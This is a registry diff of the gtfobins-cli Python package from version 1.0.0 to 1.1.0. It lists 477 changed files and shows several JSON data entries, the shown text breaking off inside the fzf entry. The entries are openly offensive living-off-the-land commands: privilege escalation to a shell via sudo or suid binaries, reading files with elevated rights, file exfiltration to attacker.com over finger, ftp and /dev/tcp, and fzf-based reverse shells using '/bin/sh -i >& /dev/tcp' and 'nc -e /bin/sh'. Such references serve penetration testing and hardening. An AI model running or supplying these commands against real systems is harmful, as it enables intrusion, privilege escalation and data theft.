gtfobins-cli 1.0.0__py3-none-any.whl → 1.1.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (477) hide show
  1. gtfo/__init__.py +2 -1
  2. gtfo/cli.py +204 -32
  3. gtfo/data/7z.json +16 -0
  4. gtfo/data/aa-exec.json +22 -0
  5. gtfo/data/ab.json +28 -0
  6. gtfo/data/acr.json +16 -0
  7. gtfo/data/agetty.json +10 -0
  8. gtfo/data/alpine.json +22 -0
  9. gtfo/data/ansible-playbook.json +16 -0
  10. gtfo/data/ansible-test.json +16 -0
  11. gtfo/data/aoss.json +16 -0
  12. gtfo/data/apache2ctl.json +16 -0
  13. gtfo/data/apport-cli.json +22 -0
  14. gtfo/data/apt-get.json +6 -6
  15. gtfo/data/apt.json +8 -8
  16. gtfo/data/aptitude.json +16 -0
  17. gtfo/data/ar.json +6 -4
  18. gtfo/data/aria2c.json +17 -5
  19. gtfo/data/arj.json +28 -0
  20. gtfo/data/arp.json +7 -5
  21. gtfo/data/as.json +22 -0
  22. gtfo/data/ascii-xfr.json +22 -0
  23. gtfo/data/ascii85.json +16 -0
  24. gtfo/data/ash.json +9 -5
  25. gtfo/data/aspell.json +22 -0
  26. gtfo/data/asterisk.json +20 -0
  27. gtfo/data/at.json +3 -1
  28. gtfo/data/atobm.json +6 -4
  29. gtfo/data/awk.json +20 -14
  30. gtfo/data/aws.json +16 -0
  31. gtfo/data/base32.json +7 -4
  32. gtfo/data/base58.json +16 -0
  33. gtfo/data/base64.json +7 -4
  34. gtfo/data/basenc.json +6 -3
  35. gtfo/data/basez.json +22 -0
  36. gtfo/data/bash.json +22 -17
  37. gtfo/data/bashbug.json +14 -0
  38. gtfo/data/batcat.json +22 -0
  39. gtfo/data/bc.json +22 -0
  40. gtfo/data/bconsole.json +22 -0
  41. gtfo/data/bee.json +10 -0
  42. gtfo/data/borg.json +16 -0
  43. gtfo/data/bpftrace.json +6 -3
  44. gtfo/data/bridge.json +22 -0
  45. gtfo/data/bundle.json +32 -0
  46. gtfo/data/bundler.json +7 -4
  47. gtfo/data/busctl.json +14 -3
  48. gtfo/data/busybox.json +17 -8
  49. gtfo/data/byebug.json +4 -1
  50. gtfo/data/bzip2.json +22 -0
  51. gtfo/data/c89.json +28 -0
  52. gtfo/data/c99.json +28 -0
  53. gtfo/data/cabal.json +22 -0
  54. gtfo/data/cancel.json +3 -3
  55. gtfo/data/capsh.json +6 -3
  56. gtfo/data/cargo.json +14 -0
  57. gtfo/data/cat.json +7 -4
  58. gtfo/data/cdist.json +16 -0
  59. gtfo/data/certbot.json +2 -0
  60. gtfo/data/chattr.json +14 -0
  61. gtfo/data/check_by_ssh.json +2 -3
  62. gtfo/data/check_cups.json +4 -3
  63. gtfo/data/check_log.json +20 -18
  64. gtfo/data/check_memory.json +4 -3
  65. gtfo/data/check_raid.json +4 -3
  66. gtfo/data/check_ssl_cert.json +2 -3
  67. gtfo/data/check_statusfile.json +4 -3
  68. gtfo/data/chmod.json +4 -3
  69. gtfo/data/choom.json +22 -0
  70. gtfo/data/chown.json +5 -4
  71. gtfo/data/chroot.json +3 -1
  72. gtfo/data/chrt.json +28 -0
  73. gtfo/data/clamscan.json +22 -0
  74. gtfo/data/clisp.json +16 -0
  75. gtfo/data/cmake.json +28 -0
  76. gtfo/data/cmp.json +22 -0
  77. gtfo/data/cobc.json +3 -1
  78. gtfo/data/code.json +22 -0
  79. gtfo/data/column.json +6 -4
  80. gtfo/data/comm.json +6 -3
  81. gtfo/data/composer.json +3 -0
  82. gtfo/data/cowsay.json +2 -1
  83. gtfo/data/cowthink.json +16 -14
  84. gtfo/data/cp.json +21 -9
  85. gtfo/data/cpan.json +8 -7
  86. gtfo/data/cpio.json +14 -12
  87. gtfo/data/cpulimit.json +6 -3
  88. gtfo/data/crash.json +5 -4
  89. gtfo/data/crontab.json +5 -5
  90. gtfo/data/csh.json +9 -5
  91. gtfo/data/csplit.json +12 -3
  92. gtfo/data/csvtool.json +8 -5
  93. gtfo/data/ctr.json +10 -0
  94. gtfo/data/cupsfilter.json +6 -3
  95. gtfo/data/curl.json +19 -7
  96. gtfo/data/cut.json +7 -4
  97. gtfo/data/dash.json +9 -5
  98. gtfo/data/date.json +7 -5
  99. gtfo/data/dc.json +22 -0
  100. gtfo/data/dd.json +9 -5
  101. gtfo/data/debugfs.json +22 -0
  102. gtfo/data/dhclient.json +10 -0
  103. gtfo/data/dialog.json +7 -5
  104. gtfo/data/diff.json +11 -4
  105. gtfo/data/dig.json +6 -4
  106. gtfo/data/distcc.json +22 -0
  107. gtfo/data/dmesg.json +4 -4
  108. gtfo/data/dmidecode.json +10 -0
  109. gtfo/data/dmsetup.json +3 -1
  110. gtfo/data/dnf.json +3 -3
  111. gtfo/data/dnsmasq.json +10 -0
  112. gtfo/data/doas.json +10 -0
  113. gtfo/data/docker.json +9 -6
  114. gtfo/data/dos2unix.json +10 -0
  115. gtfo/data/dosbox.json +32 -0
  116. gtfo/data/dotnet.json +22 -0
  117. gtfo/data/dpkg.json +5 -5
  118. gtfo/data/dstat.json +16 -0
  119. gtfo/data/dvips.json +3 -1
  120. gtfo/data/easy_install.json +14 -11
  121. gtfo/data/eb.json +3 -2
  122. gtfo/data/ed.json +9 -3
  123. gtfo/data/efax.json +16 -0
  124. gtfo/data/elvish.json +34 -0
  125. gtfo/data/emacs.json +11 -6
  126. gtfo/data/enscript.json +16 -0
  127. gtfo/data/env.json +7 -4
  128. gtfo/data/eqn.json +7 -5
  129. gtfo/data/espeak.json +22 -0
  130. gtfo/data/ex.json +30 -22
  131. gtfo/data/exiftool.json +26 -4
  132. gtfo/data/expand.json +7 -5
  133. gtfo/data/expect.json +13 -4
  134. gtfo/data/facter.json +4 -2
  135. gtfo/data/fail2ban-client.json +14 -0
  136. gtfo/data/ffmpeg.json +10 -0
  137. gtfo/data/file.json +8 -8
  138. gtfo/data/find.json +19 -4
  139. gtfo/data/finger.json +5 -6
  140. gtfo/data/firejail.json +35 -0
  141. gtfo/data/fish.json +22 -0
  142. gtfo/data/flock.json +7 -4
  143. gtfo/data/fmt.json +5 -6
  144. gtfo/data/fold.json +7 -4
  145. gtfo/data/fping.json +16 -0
  146. gtfo/data/ftp.json +5 -3
  147. gtfo/data/fzf.json +90 -0
  148. gtfo/data/gawk.json +17 -11
  149. gtfo/data/gcc.json +12 -4
  150. gtfo/data/gcloud.json +16 -0
  151. gtfo/data/gcore.json +22 -0
  152. gtfo/data/gdb.json +15 -13
  153. gtfo/data/gem.json +8 -8
  154. gtfo/data/genie.json +22 -0
  155. gtfo/data/genisoimage.json +11 -4
  156. gtfo/data/getent.json +14 -0
  157. gtfo/data/ghc.json +4 -2
  158. gtfo/data/ghci.json +2 -0
  159. gtfo/data/gimp.json +19 -14
  160. gtfo/data/ginsh.json +22 -0
  161. gtfo/data/git.json +22 -11
  162. gtfo/data/gnuplot.json +16 -0
  163. gtfo/data/go.json +58 -0
  164. gtfo/data/grc.json +16 -0
  165. gtfo/data/grep.json +7 -5
  166. gtfo/data/gtester.json +10 -1
  167. gtfo/data/guile.json +16 -0
  168. gtfo/data/gzip.json +14 -5
  169. gtfo/data/hashcat.json +16 -0
  170. gtfo/data/hd.json +7 -5
  171. gtfo/data/head.json +7 -4
  172. gtfo/data/hexdump.json +7 -5
  173. gtfo/data/hg.json +16 -0
  174. gtfo/data/highlight.json +7 -4
  175. gtfo/data/hping3.json +7 -0
  176. gtfo/data/iconv.json +9 -6
  177. gtfo/data/iftop.json +3 -1
  178. gtfo/data/install.json +4 -3
  179. gtfo/data/ionice.json +7 -4
  180. gtfo/data/ip.json +11 -5
  181. gtfo/data/irb.json +13 -8
  182. gtfo/data/ispell.json +22 -0
  183. gtfo/data/java.json +10 -0
  184. gtfo/data/jjs.json +13 -10
  185. gtfo/data/joe.json +22 -0
  186. gtfo/data/join.json +6 -3
  187. gtfo/data/journalctl.json +3 -2
  188. gtfo/data/jq.json +7 -4
  189. gtfo/data/jrunscript.json +13 -10
  190. gtfo/data/jshell.json +35 -0
  191. gtfo/data/jtag.json +16 -0
  192. gtfo/data/julia.json +46 -0
  193. gtfo/data/knife.json +16 -0
  194. gtfo/data/ksh.json +19 -15
  195. gtfo/data/ksshell.json +7 -5
  196. gtfo/data/ksu.json +10 -0
  197. gtfo/data/kubectl.json +30 -0
  198. gtfo/data/last.json +16 -0
  199. gtfo/data/lastb.json +16 -0
  200. gtfo/data/latex.json +11 -2
  201. gtfo/data/latexmk.json +9 -6
  202. gtfo/data/ld.so.json +7 -5
  203. gtfo/data/ldconfig.json +1 -2
  204. gtfo/data/less.json +17 -7
  205. gtfo/data/lessfilter.json +22 -0
  206. gtfo/data/lesspipe.json +16 -0
  207. gtfo/data/lftp.json +22 -0
  208. gtfo/data/links.json +22 -0
  209. gtfo/data/ln.json +10 -0
  210. gtfo/data/loginctl.json +16 -0
  211. gtfo/data/logrotate.json +38 -0
  212. gtfo/data/logsave.json +7 -4
  213. gtfo/data/look.json +7 -4
  214. gtfo/data/lp.json +10 -0
  215. gtfo/data/ltrace.json +7 -5
  216. gtfo/data/lua.json +21 -15
  217. gtfo/data/lualatex.json +6 -4
  218. gtfo/data/luatex.json +6 -4
  219. gtfo/data/lwp-download.json +7 -5
  220. gtfo/data/lwp-request.json +4 -2
  221. gtfo/data/m4.json +59 -0
  222. gtfo/data/mail.json +3 -3
  223. gtfo/data/make.json +15 -7
  224. gtfo/data/man.json +5 -3
  225. gtfo/data/mawk.json +12 -6
  226. gtfo/data/minicom.json +26 -0
  227. gtfo/data/more.json +7 -3
  228. gtfo/data/mosh-server.json +10 -0
  229. gtfo/data/mosquitto.json +22 -0
  230. gtfo/data/mount.json +2 -2
  231. gtfo/data/msfconsole.json +16 -0
  232. gtfo/data/msgattrib.json +22 -0
  233. gtfo/data/msgcat.json +22 -0
  234. gtfo/data/msgconv.json +22 -0
  235. gtfo/data/msgfilter.json +28 -0
  236. gtfo/data/msgmerge.json +22 -0
  237. gtfo/data/msguniq.json +22 -0
  238. gtfo/data/mtr.json +5 -4
  239. gtfo/data/multitime.json +22 -0
  240. gtfo/data/mutt.json +14 -0
  241. gtfo/data/mv.json +5 -4
  242. gtfo/data/mypy.json +26 -0
  243. gtfo/data/mysql.json +9 -7
  244. gtfo/data/nano.json +9 -5
  245. gtfo/data/nasm.json +22 -0
  246. gtfo/data/nawk.json +16 -10
  247. gtfo/data/nc.json +13 -13
  248. gtfo/data/ncdu.json +22 -0
  249. gtfo/data/ncftp.json +22 -0
  250. gtfo/data/neofetch.json +22 -0
  251. gtfo/data/nft.json +22 -0
  252. gtfo/data/nginx.json +22 -0
  253. gtfo/data/nice.json +7 -4
  254. gtfo/data/nl.json +7 -5
  255. gtfo/data/nm.json +22 -0
  256. gtfo/data/nmap.json +26 -16
  257. gtfo/data/node.json +18 -12
  258. gtfo/data/nohup.json +10 -6
  259. gtfo/data/npm.json +6 -0
  260. gtfo/data/nroff.json +3 -1
  261. gtfo/data/nsenter.json +5 -3
  262. gtfo/data/ntpdate.json +22 -0
  263. gtfo/data/nvim.json +16 -0
  264. gtfo/data/octave.json +34 -0
  265. gtfo/data/od.json +7 -5
  266. gtfo/data/openssl.json +21 -16
  267. gtfo/data/openvpn.json +13 -5
  268. gtfo/data/openvt.json +1 -1
  269. gtfo/data/opkg.json +10 -0
  270. gtfo/data/pandoc.json +40 -0
  271. gtfo/data/passwd.json +10 -0
  272. gtfo/data/paste.json +6 -3
  273. gtfo/data/pax.json +10 -0
  274. gtfo/data/pdb.json +3 -2
  275. gtfo/data/pdflatex.json +5 -2
  276. gtfo/data/pdftex.json +3 -0
  277. gtfo/data/perf.json +22 -0
  278. gtfo/data/perl.json +28 -7
  279. gtfo/data/perlbug.json +16 -0
  280. gtfo/data/pexec.json +22 -0
  281. gtfo/data/pg.json +7 -3
  282. gtfo/data/php.json +25 -15
  283. gtfo/data/pic.json +10 -1
  284. gtfo/data/pico.json +8 -4
  285. gtfo/data/pidstat.json +22 -0
  286. gtfo/data/pip.json +19 -8
  287. gtfo/data/pipx.json +25 -0
  288. gtfo/data/pkexec.json +3 -2
  289. gtfo/data/pkg.json +1 -1
  290. gtfo/data/plymouth.json +10 -0
  291. gtfo/data/podman.json +10 -0
  292. gtfo/data/poetry.json +26 -0
  293. gtfo/data/posh.json +22 -0
  294. gtfo/data/pr.json +6 -4
  295. gtfo/data/procmail.json +10 -0
  296. gtfo/data/pry.json +4 -1
  297. gtfo/data/psftp.json +22 -0
  298. gtfo/data/psql.json +14 -1
  299. gtfo/data/ptx.json +22 -0
  300. gtfo/data/puppet.json +6 -4
  301. gtfo/data/pwsh.json +22 -0
  302. gtfo/data/pygmentize.json +14 -0
  303. gtfo/data/pyright.json +32 -0
  304. gtfo/data/python.json +21 -15
  305. gtfo/data/qpdf.json +18 -0
  306. gtfo/data/r.json +16 -0
  307. gtfo/data/rake.json +13 -4
  308. gtfo/data/rc.json +22 -0
  309. gtfo/data/readelf.json +7 -5
  310. gtfo/data/red.json +7 -5
  311. gtfo/data/redcarpet.json +5 -4
  312. gtfo/data/redis.json +10 -0
  313. gtfo/data/restic.json +13 -5
  314. gtfo/data/rev.json +6 -3
  315. gtfo/data/rlogin.json +3 -4
  316. gtfo/data/rlwrap.json +9 -6
  317. gtfo/data/rpm.json +9 -5
  318. gtfo/data/rpmdb.json +22 -0
  319. gtfo/data/rpmquery.json +6 -3
  320. gtfo/data/rpmverify.json +22 -0
  321. gtfo/data/rsync.json +7 -4
  322. gtfo/data/rsyslogd.json +16 -0
  323. gtfo/data/rtorrent.json +16 -0
  324. gtfo/data/ruby.json +17 -11
  325. gtfo/data/run-mailcap.json +7 -7
  326. gtfo/data/run-parts.json +7 -4
  327. gtfo/data/runscript.json +22 -0
  328. gtfo/data/rustdoc.json +26 -0
  329. gtfo/data/rustfmt.json +15 -0
  330. gtfo/data/rustup.json +22 -0
  331. gtfo/data/rview.json +36 -34
  332. gtfo/data/rvim.json +41 -35
  333. gtfo/data/sash.json +8 -5
  334. gtfo/data/scanmem.json +22 -0
  335. gtfo/data/scp.json +6 -3
  336. gtfo/data/screen.json +9 -7
  337. gtfo/data/script.json +6 -4
  338. gtfo/data/scrot.json +22 -0
  339. gtfo/data/sed.json +12 -9
  340. gtfo/data/service.json +5 -3
  341. gtfo/data/setarch.json +7 -4
  342. gtfo/data/setcap.json +16 -0
  343. gtfo/data/setfacl.json +16 -0
  344. gtfo/data/setlock.json +22 -0
  345. gtfo/data/sftp.json +7 -5
  346. gtfo/data/sg.json +1 -0
  347. gtfo/data/shred.json +16 -0
  348. gtfo/data/shuf.json +5 -5
  349. gtfo/data/slsh.json +22 -0
  350. gtfo/data/smbclient.json +9 -8
  351. gtfo/data/snap.json +2 -2
  352. gtfo/data/socat.json +23 -11
  353. gtfo/data/socket.json +16 -0
  354. gtfo/data/soelim.json +7 -5
  355. gtfo/data/softlimit.json +22 -0
  356. gtfo/data/sort.json +13 -4
  357. gtfo/data/split.json +15 -4
  358. gtfo/data/sqlite3.json +12 -6
  359. gtfo/data/sqlmap.json +16 -0
  360. gtfo/data/ss.json +6 -4
  361. gtfo/data/ssh-agent.json +22 -0
  362. gtfo/data/ssh-copy-id.json +24 -0
  363. gtfo/data/ssh-keygen.json +6 -6
  364. gtfo/data/ssh-keyscan.json +22 -0
  365. gtfo/data/ssh.json +11 -7
  366. gtfo/data/sshfs.json +42 -0
  367. gtfo/data/sshpass.json +22 -0
  368. gtfo/data/sshuttle.json +10 -0
  369. gtfo/data/start-stop-daemon.json +7 -4
  370. gtfo/data/stdbuf.json +7 -4
  371. gtfo/data/strace.json +8 -5
  372. gtfo/data/strings.json +7 -5
  373. gtfo/data/su.json +3 -2
  374. gtfo/data/sudo.json +10 -0
  375. gtfo/data/svn.json +10 -0
  376. gtfo/data/sysctl.json +13 -5
  377. gtfo/data/systemctl.json +7 -4
  378. gtfo/data/systemd-resolve.json +10 -0
  379. gtfo/data/systemd-run.json +60 -0
  380. gtfo/data/tac.json +7 -5
  381. gtfo/data/tail.json +7 -4
  382. gtfo/data/tailscale.json +10 -0
  383. gtfo/data/tar.json +14 -11
  384. gtfo/data/task.json +16 -0
  385. gtfo/data/taskset.json +7 -4
  386. gtfo/data/tasksh.json +22 -0
  387. gtfo/data/tbl.json +6 -4
  388. gtfo/data/tclsh.json +11 -6
  389. gtfo/data/tcpdump.json +11 -4
  390. gtfo/data/tcsh.json +28 -0
  391. gtfo/data/tdbtool.json +22 -0
  392. gtfo/data/tee.json +9 -7
  393. gtfo/data/telnet.json +6 -6
  394. gtfo/data/terraform.json +22 -0
  395. gtfo/data/tex.json +3 -0
  396. gtfo/data/tftp.json +5 -5
  397. gtfo/data/tic.json +22 -0
  398. gtfo/data/time.json +7 -5
  399. gtfo/data/timedatectl.json +16 -0
  400. gtfo/data/timeout.json +7 -4
  401. gtfo/data/tmate.json +22 -0
  402. gtfo/data/tmux.json +15 -3
  403. gtfo/data/top.json +2 -2
  404. gtfo/data/torify.json +16 -0
  405. gtfo/data/torsocks.json +16 -0
  406. gtfo/data/troff.json +6 -4
  407. gtfo/data/tsc.json +26 -0
  408. gtfo/data/tshark.json +10 -0
  409. gtfo/data/ul.json +7 -5
  410. gtfo/data/unexpand.json +7 -4
  411. gtfo/data/uniq.json +7 -5
  412. gtfo/data/unshare.json +7 -4
  413. gtfo/data/unsquashfs.json +16 -0
  414. gtfo/data/unzip.json +16 -0
  415. gtfo/data/update-alternatives.json +4 -4
  416. gtfo/data/urlget.json +16 -0
  417. gtfo/data/uudecode.json +22 -0
  418. gtfo/data/uuencode.json +21 -18
  419. gtfo/data/uv.json +43 -0
  420. gtfo/data/vagrant.json +22 -0
  421. gtfo/data/valgrind.json +5 -3
  422. gtfo/data/varnishncsa.json +16 -0
  423. gtfo/data/vi.json +18 -6
  424. gtfo/data/view.json +41 -36
  425. gtfo/data/vigr.json +16 -0
  426. gtfo/data/vim.json +43 -38
  427. gtfo/data/vimdiff.json +41 -36
  428. gtfo/data/vipw.json +16 -0
  429. gtfo/data/virsh.json +6 -5
  430. gtfo/data/volatility.json +10 -0
  431. gtfo/data/w3m.json +22 -0
  432. gtfo/data/wall.json +10 -0
  433. gtfo/data/watch.json +9 -6
  434. gtfo/data/wc.json +6 -4
  435. gtfo/data/wg-quick.json +10 -0
  436. gtfo/data/wget.json +17 -11
  437. gtfo/data/whiptail.json +22 -0
  438. gtfo/data/whois.json +9 -10
  439. gtfo/data/wireshark.json +16 -0
  440. gtfo/data/wish.json +5 -3
  441. gtfo/data/xargs.json +9 -8
  442. gtfo/data/xdg-user-dir.json +16 -0
  443. gtfo/data/xdotool.json +22 -0
  444. gtfo/data/xelatex.json +5 -2
  445. gtfo/data/xetex.json +3 -0
  446. gtfo/data/xmodmap.json +6 -4
  447. gtfo/data/xmore.json +6 -4
  448. gtfo/data/xpad.json +16 -0
  449. gtfo/data/xxd.json +9 -5
  450. gtfo/data/xz.json +7 -4
  451. gtfo/data/yarn.json +20 -0
  452. gtfo/data/yash.json +22 -0
  453. gtfo/data/yelp.json +2 -2
  454. gtfo/data/yt-dlp.json +24 -0
  455. gtfo/data/yum.json +4 -4
  456. gtfo/data/zathura.json +16 -0
  457. gtfo/data/zcat.json +10 -0
  458. gtfo/data/zic.json +20 -0
  459. gtfo/data/zip.json +5 -1
  460. gtfo/data/zless.json +15 -0
  461. gtfo/data/zsh.json +10 -5
  462. gtfo/data/zsoelim.json +7 -5
  463. gtfo/data/zypper.json +5 -3
  464. gtfo/images/filter-with.png +0 -0
  465. gtfo/images/search-docker.png +0 -0
  466. gtfo/images/search-for.png +0 -0
  467. gtfo/images/search-interactive.png +0 -0
  468. gtfo/images/sqlit3.png +0 -0
  469. {gtfobins_cli-1.0.0.dist-info → gtfobins_cli-1.1.0.dist-info}/METADATA +66 -17
  470. gtfobins_cli-1.1.0.dist-info/RECORD +474 -0
  471. {gtfobins_cli-1.0.0.dist-info → gtfobins_cli-1.1.0.dist-info}/WHEEL +1 -1
  472. gtfo/data/octave-cli.json +0 -30
  473. gtfo/data/ssh_keyscan.json +0 -20
  474. gtfobins_cli-1.0.0.dist-info/RECORD +0 -263
  475. {gtfobins_cli-1.0.0.dist-info → gtfobins_cli-1.1.0.dist-info}/entry_points.txt +0 -0
  476. {gtfobins_cli-1.0.0.dist-info → gtfobins_cli-1.1.0.dist-info}/licenses/LICENSE +0 -0
  477. {gtfobins_cli-1.0.0.dist-info → gtfobins_cli-1.1.0.dist-info}/top_level.txt +0 -0
gtfo/data/finger.json CHANGED
@@ -1,17 +1,16 @@
1
1
  {
2
- "description": "'finger' hangs waiting for the remote peer to close the socket.",
3
2
  "functions": {
4
3
  "file-upload": [
5
4
  {
6
- "description": "Send a binary file to a TCP port. Run 'sudo nc -l -p 79 | base64 -d > [file]' on the attacker box to collect the file. The file length is limited by the maximum size of arguments.",
7
- "code": "finger \"$(base64 [file])@[host]\"\n"
5
+ "description": "Send a binary file to a TCP port. Run `sudo nc -l -p 79 | base64 -d > \"file_to_save\"` on the attacker box to collect the file. The file length is limited by the maximum size of arguments.",
6
+ "code": "RHOST=attacker.com\nLFILE=file_to_send\nfinger \"$(base64 $LFILE)@$RHOST\"\n"
8
7
  }
9
8
  ],
10
9
  "file-download": [
11
10
  {
12
- "description": "Fetch remote binary file from a remote TCP port. Run 'base64 [file] | sudo nc -l -p 79' on the attacker box to send the file.",
13
- "code": "finger x@[host] | base64 -d > [file]\n"
11
+ "description": "Fetch remote binary file from a remote TCP port. Run `base64 \"file_to_send\" | sudo nc -l -p 79` on the attacker box to send the file.",
12
+ "code": "RHOST=attacker.com\nLFILE=file_to_save\nfinger x@$RHOST | base64 -d > \"$LFILE\"\n"
14
13
  }
15
14
  ]
16
15
  }
17
- }
16
+ }
@@ -0,0 +1,35 @@
1
+ {
2
+ "comment": "firejail is a sandboxing tool for Linux. It can be abused to spawn shells,\nread and write files outside the sandbox, and escalate privileges when misconfigured.",
3
+ "functions": {
4
+ "file-read": [
5
+ {
6
+ "code": "firejail --noprofile cat /path/to/file-input\n",
7
+ "contexts": {
8
+ "sudo": {},
9
+ "suid": {},
10
+ "unprivileged": {}
11
+ }
12
+ }
13
+ ],
14
+ "file-write": [
15
+ {
16
+ "code": "firejail --noprofile sh -c 'echo data > /path/to/file-output'\n",
17
+ "contexts": {
18
+ "sudo": {},
19
+ "suid": {},
20
+ "unprivileged": {}
21
+ }
22
+ }
23
+ ],
24
+ "shell": [
25
+ {
26
+ "code": "firejail --noprofile /bin/sh\n",
27
+ "contexts": {
28
+ "sudo": {},
29
+ "suid": {},
30
+ "unprivileged": {}
31
+ }
32
+ }
33
+ ]
34
+ }
35
+ }
gtfo/data/fish.json ADDED
@@ -0,0 +1,22 @@
1
+ {
2
+ "functions": {
3
+ "shell": [
4
+ {
5
+
6
+ "code": "fish\n"
7
+ }
8
+ ],
9
+ "suid": [
10
+ {
11
+
12
+ "code": "./fish\n"
13
+ }
14
+ ],
15
+ "sudo": [
16
+ {
17
+
18
+ "code": "sudo fish\n"
19
+ }
20
+ ]
21
+ }
22
+ }
gtfo/data/flock.json CHANGED
@@ -2,18 +2,21 @@
2
2
  "functions": {
3
3
  "shell": [
4
4
  {
5
- "code": "flock -u / /bin/sh"
5
+
6
+ "code": "flock -u / /bin/sh\n"
6
7
  }
7
8
  ],
8
9
  "suid": [
9
10
  {
10
- "code": "./flock -u / /bin/sh -p"
11
+
12
+ "code": "./flock -u / /bin/sh -p\n"
11
13
  }
12
14
  ],
13
15
  "sudo": [
14
16
  {
15
- "code": "sudo flock -u / /bin/sh"
17
+
18
+ "code": "sudo flock -u / /bin/sh\n"
16
19
  }
17
20
  ]
18
21
  }
19
- }
22
+ }
gtfo/data/fmt.json CHANGED
@@ -1,27 +1,26 @@
1
1
  {
2
- "description": "The read file content is not binary-safe.",
3
2
  "functions": {
4
3
  "file-read": [
5
4
  {
6
5
  "description": "This only works for the GNU version of `fmt`.",
7
- "code": "fmt -pNON_EXISTING_PREFIX [file]\n"
6
+ "code": "LFILE=file_to_read\nfmt -pNON_EXISTING_PREFIX \"$LFILE\"\n"
8
7
  },
9
8
  {
10
9
  "description": "This corrupts the output by wrapping very long lines at the given width.",
11
- "code": "fmt -999 [file]\n"
10
+ "code": "LFILE=file_to_read\nfmt -999 \"$LFILE\"\n"
12
11
  }
13
12
  ],
14
13
  "suid": [
15
14
  {
16
15
  "description": "This corrupts the output by wrapping very long lines at the given width.",
17
- "code": "./fmt -999 [file]\n"
16
+ "code": "LFILE=file_to_read\n./fmt -999 \"$LFILE\"\n"
18
17
  }
19
18
  ],
20
19
  "sudo": [
21
20
  {
22
21
  "description": "This corrupts the output by wrapping very long lines at the given width.",
23
- "code": "sudo fmt -999 [file]\n"
22
+ "code": "LFILE=file_to_read\nsudo fmt -999 \"$LFILE\"\n"
24
23
  }
25
24
  ]
26
25
  }
27
- }
26
+ }
gtfo/data/fold.json CHANGED
@@ -2,18 +2,21 @@
2
2
  "functions": {
3
3
  "file-read": [
4
4
  {
5
- "code": "fold -w99999999 [file]\n"
5
+
6
+ "code": "LFILE=file_to_read\nfold -w99999999 \"$LFILE\"\n"
6
7
  }
7
8
  ],
8
9
  "suid": [
9
10
  {
10
- "code": "./fold -w99999999 [file]\n"
11
+
12
+ "code": "LFILE=file_to_read\n./fold -w99999999 \"$LFILE\"\n"
11
13
  }
12
14
  ],
13
15
  "sudo": [
14
16
  {
15
- "code": "sudo fold -w99999999 [file]\n"
17
+
18
+ "code": "LFILE=file_to_read\nsudo fold -w99999999 \"$LFILE\"\n"
16
19
  }
17
20
  ]
18
21
  }
19
- }
22
+ }
gtfo/data/fping.json ADDED
@@ -0,0 +1,16 @@
1
+ {
2
+ "functions": {
3
+ "file-read": [
4
+ {
5
+
6
+ "code": "LFILE=file_to_read\nfping -f $LFILE\n"
7
+ }
8
+ ],
9
+ "sudo": [
10
+ {
11
+
12
+ "code": "LFILE=file_to_read\nsudo fping -f $LFILE\n"
13
+ }
14
+ ]
15
+ }
16
+ }
gtfo/data/ftp.json CHANGED
@@ -2,25 +2,27 @@
2
2
  "functions": {
3
3
  "shell": [
4
4
  {
5
+
5
6
  "code": "ftp\n!/bin/sh\n"
6
7
  }
7
8
  ],
8
9
  "file-upload": [
9
10
  {
10
11
  "description": "Send local file to a FTP server.",
11
- "code": "ftp [host]\nput [file]\n"
12
+ "code": "RHOST=attacker.com\nftp $RHOST\nput file_to_send\n"
12
13
  }
13
14
  ],
14
15
  "file-download": [
15
16
  {
16
17
  "description": "Fetch a remote file from a FTP server.",
17
- "code": "ftp [host]\nget [file]\n"
18
+ "code": "RHOST=attacker.com\nftp $RHOST\nget file_to_get\n"
18
19
  }
19
20
  ],
20
21
  "sudo": [
21
22
  {
23
+
22
24
  "code": "sudo ftp\n!/bin/sh\n"
23
25
  }
24
26
  ]
25
27
  }
26
- }
28
+ }
gtfo/data/fzf.json ADDED
@@ -0,0 +1,90 @@
1
+ {
2
+ "functions": {
3
+ "shell": [
4
+ {
5
+ "description": "Press ``<Enter>`` when you enter the fzf panel to receive the shell.",
6
+ "code": "fzf --bind \"enter:execute(/bin/sh)\"\n"
7
+ }
8
+ ],
9
+ "command": [
10
+ {
11
+ "description": "",
12
+ "code": "export COMMAND='id'\nfzf --bind \"enter:execute($COMMAND)\"\n"
13
+ },
14
+ {
15
+ "description": "Set up port forwarding via SSH or Chisel using ``$LPORT``.",
16
+ "code": "export LPORT=7777\nexport COMMAND='id'\nfzf --listen=$LPORT\ncurl -X POST localhost:$LPORT -d \"reload($COMMAND)\" # Attacker box\n"
17
+ }
18
+ ],
19
+ "reverse-shell": [
20
+ {
21
+ "description": "Run ``nc -l -p 12345`` on the attacker box, then press ``<Enter>`` in the fzf panel to receive the shell.",
22
+ "code": "export RHOST=attacker.com\nexport RPORT=12345\nfzf --bind \"enter:execute(/bin/sh -i >& /dev/tcp/$RHOST/$RPORT 0>&1)\"\n"
23
+ },
24
+ {
25
+ "description": "Set up port forwarding via SSH or Chisel using ``$LPORT``, then run ``nc -l -p 12345`` on the attacker box to receive the shell. It only works with the traditional version of ``nc``.",
26
+ "code": "export RHOST=attacker.com\nexport RPORT=12345\nexport LPORT=7777\nfzf --listen=$LPORT\ncurl -X POST localhost:$LPORT -d \"reload(nc $RHOST $RPORT -e /bin/sh)\" # Attacker box\n"
27
+ }
28
+ ],
29
+ "file-upload": [
30
+ {
31
+ "description": "Send local file using a TCP connection. Run ``nc -l -p 12345 > \"file_to_save\"`` on the attacker box to collect the file.",
32
+ "code": "export RHOST=attacker.com\nexport RPORT=12345\nexport LFILE=file_to_send\nfzf --bind \"enter:execute(cat $LFILE > /dev/tcp/$RHOST/$RPORT)\"\n"
33
+ },
34
+ {
35
+ "description": "Set up port forwarding via SSH or Chisel using ``$LPORT``, then run ``nc -l -p 12345 > \"file_to_save\"`` on the attacker box to collect the file.",
36
+ "code": "export RHOST=attacker.com\nexport RPORT=12345\nexport LPORT=7777\nexport LFILE=file_to_send\nfzf --listen=$LPORT\ncurl -X POST localhost:$LPORT -d \"reload(cat $LFILE > /dev/tcp/$RHOST/$RPORT)\" # Attacker box\n"
37
+ }
38
+ ],
39
+ "file-download": [
40
+ {
41
+ "description": "Fetch remote file using a TCP connection. Run ``nc -l -p 12345 < \"file_to_send\"`` on the attacker box to send the file.",
42
+ "code": "export RHOST=attacker.com\nexport RPORT=12345\nexport LFILE=file_to_get\nfzf --bind \"enter:execute(cat < /dev/tcp/$RHOST/$RPORT > $LFILE)\"\n"
43
+ },
44
+ {
45
